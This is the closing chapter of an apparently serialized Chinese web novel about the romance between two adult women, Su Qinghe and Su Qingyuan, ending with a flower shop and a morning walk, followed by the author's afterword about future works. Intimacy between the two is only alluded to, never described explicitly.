苏青荷也从来没有想过,她会对这样的事情上瘾。 不知道折腾了多久,苏青荷贴在她怀里,浑身软得眼皮都睁不开,脸颊绯红未褪,她轻轻睁开眼,望着漆黑夜里眼前人的轮廓,就这样看了很久很久。 像是察觉到目光那样,苏青沅睁开眼看她,与她四目相对。 苏青沅又把她往怀里搂了搂,被子拉紧盖住她,问:“冷吗?” 苏青荷轻摇头说:“不冷。” 苏青沅怕她事后贪凉,容易感冒,还是紧紧把她抱在怀里,低头用唇贴她潮湿的额头。 “怎么,睡不着么?” 苏青荷仰头看她,嗯了一声,说:“睡得太早,这会不困了。” “想吃宵夜吗,晚饭都没吃?”苏青沅问。 “还不饿,待会再说吧。” 苏青沅低头看着她泛着潮红的脸颊,爱不释手地又压下去吻了吻她的唇,忽然问:“荷荷,想要一个婚礼吗?” 苏青荷轻怔,拒绝说:“不想要。” 苏青沅没有再说话。 “我知道你在想什么,只是,我们真的不需要。” 苏青沅:“我怕亏欠一些什么。” “不亏欠的,姐,那些都是外在的,我早就都不在乎了。”苏青荷仰头贴近她颈窝里,抱住她说,“我们不需要告诉谁,证明些什么,日子是我们自己的,我不要婚礼,也不要蜜月,有你在我身边的每一天,每一分一秒,都是甜蜜的。我从来都没有觉得,自己会这样快乐。” 她们彼此都明白,世上有太多的事情,永远都没有答案,没有结论。 也当然有太多的人无法接受和理解,这样的目光,其实一生都会存在。可是苏青荷不在乎,举行一个隆重的,华丽的婚礼,对她而言,真的一点都不重要,不过是徒增烦恼而已。 苏青沅抱住她,下颌抵在她头顶,“真的么?” “嗯,我还想和你说一件事情。” “是什么?” 苏青荷:“我想开一家花店。” “花店?” “嗯,也不要多么大,多么热闹,就小小的一间,在你公司附近,僻静的小巷子里就好。”苏青荷道,“我还是想写作,就当是给自己陶冶心情,不用窝在家里。” 苏青沅知道她一直是热爱文字的,后来中断,也不过是外因所致,她道:“那会不会太忙,万一你要是生意太好,没时间写作怎么办?” 她之前一边上班一边写,还三天两头的要熬夜。花店不比上班,真要忙起来可能还没有自由。生意一旦建立,就需要守则,担的责任比单纯的上班要多,因为凡事都需要亲力亲为。 苏青荷道:“我不会开得特别大的。” 苏青沅想了一下,心里有了盘算,说:“我来办。” 苏青沅效率很高,一周的时间就全部布置好了。 其实说是花店,不过是给苏青荷找一个提供在外写作的环境。 地址在一个景区的园林内,地处幽静,地方不大,分两部分。 外面一间小小的放置花卉植物的厅室,里面有休息区,布置的很明亮。 满屋里都摆满了各式各样的鲜花,苏青荷一进门,就喜欢上了这个布局,她道:“就是离你公司不近,比之前的文学社还远一些。” 苏青沅笑:“离家近就可以了,开车也不麻烦。花卉我找了个人,会每天上午定点来给你送花,卖与不卖都看你,卖出去就卖,要是卖不出去,就当我每天送你的花。” 苏青荷看着她,静静听着她的话,抿着唇笑道:“壕无人性,那么多的花,都送来给我,岂不是浪费。” 苏青沅牵起她的手,将人转了个圈,从后抱住她,将下颌搁在她颈窝里,温柔道:“不是浪费,送你的,永远都不浪费。” 苏青荷笑,“那我还是努力一下,每天都卖掉,卖来的钱,晚上请你吃饭。” “荷荷。” “嗯。” “我不需要你为我迁就任何事,你想做什么就做什么,开花店,咖啡店,书屋……什么都好,我只希望你快乐,不用计较得失的快乐,因为你快乐,我才会觉得生命是有意义的。”苏青沅闭上眼睛蹭她的脸颊,与她相贴,温柔地说,“我爱你,所以想把全世界都搬到你的面前,只怕不够。” 苏青荷心里泛起感动与酸涩,她转过身贴进她怀里,回应她道:“姐,我很快乐,我真的很快乐,有你在我身边,我什么都不怕,也不在乎。” 苏青沅捧住她的脸,低头吻上她的唇,唇舌交缠,爱意如火红玫瑰般热烈。 时光寂静无声,如果不算从前,只从十八岁那一天开始,近乎十年,十年时光可以催生无数的变化。 苏青荷看着眼前这个人,她无法否认,她的整个生命都是她,或许爱需要勇敢,这样的勇敢,她用了十年。她只庆幸,也许不算晚。 在二十七岁这一年,苏青荷勇敢而热烈地,前所未有地爱着苏青沅。 石砖路上潮湿,大雾刚刚消散,阳光从砖瓦上倾泻下来,照在她们彼此的肩头。 苏青沅牵着她走出去,脸上都是笑容与幸福。 “我们去哪儿?” “去吃早饭。” “我想吃小笼包。” “可以。” “我还想吃蒸饺。” “都可以。” “姐,我是不是有一点粘人。” 苏青沅勾唇,故作沉思,拧眉说:“是有一点。” “好啊,你居然嫌我粘人。” 苏青荷朝着她冲过去,双手攀住她的肩,苏青沅停住脚,她们一下相贴住。 阳光从树叶缝隙里照住斑驳,如流光潋滟。苏青沅望着她漂亮的双眼,“荷荷,我背你吧。” 苏青荷笑着说:“好。” 长长的小巷子里,因为清晨没有什么人。苏青沅背着她走在石子路上,心境前所未有的平静与从容。她知道,她会背着这个人就这样走下去,一辈子也不分离。 这个世上,从来没有人可以分散她们,她们是一体的,也命中注定要相爱。 ——完———— 作者有话说:这本真的是写得算最一气呵成的一篇了,感谢大家的支持和陪伴!番外大概率是没有了,苏家姐妹会这个时空里永远快乐幸福下去,总不会写日常,所以就痛痛快快在这里结束吧!! 后续计划把《大佬》那篇收尾,这篇停了好久,最难产的一本,我有罪orz,之后再填红楼的坑。一直都计划写一个百合*向的红楼大世界,这篇是长篇种田流,人物又多,所以会是个大工程。正常求一个后接文的预收《和死对头协议结婚了》欢喜冤家类的娱乐圈甜文,感兴趣的宝宝可以捧个场~《 》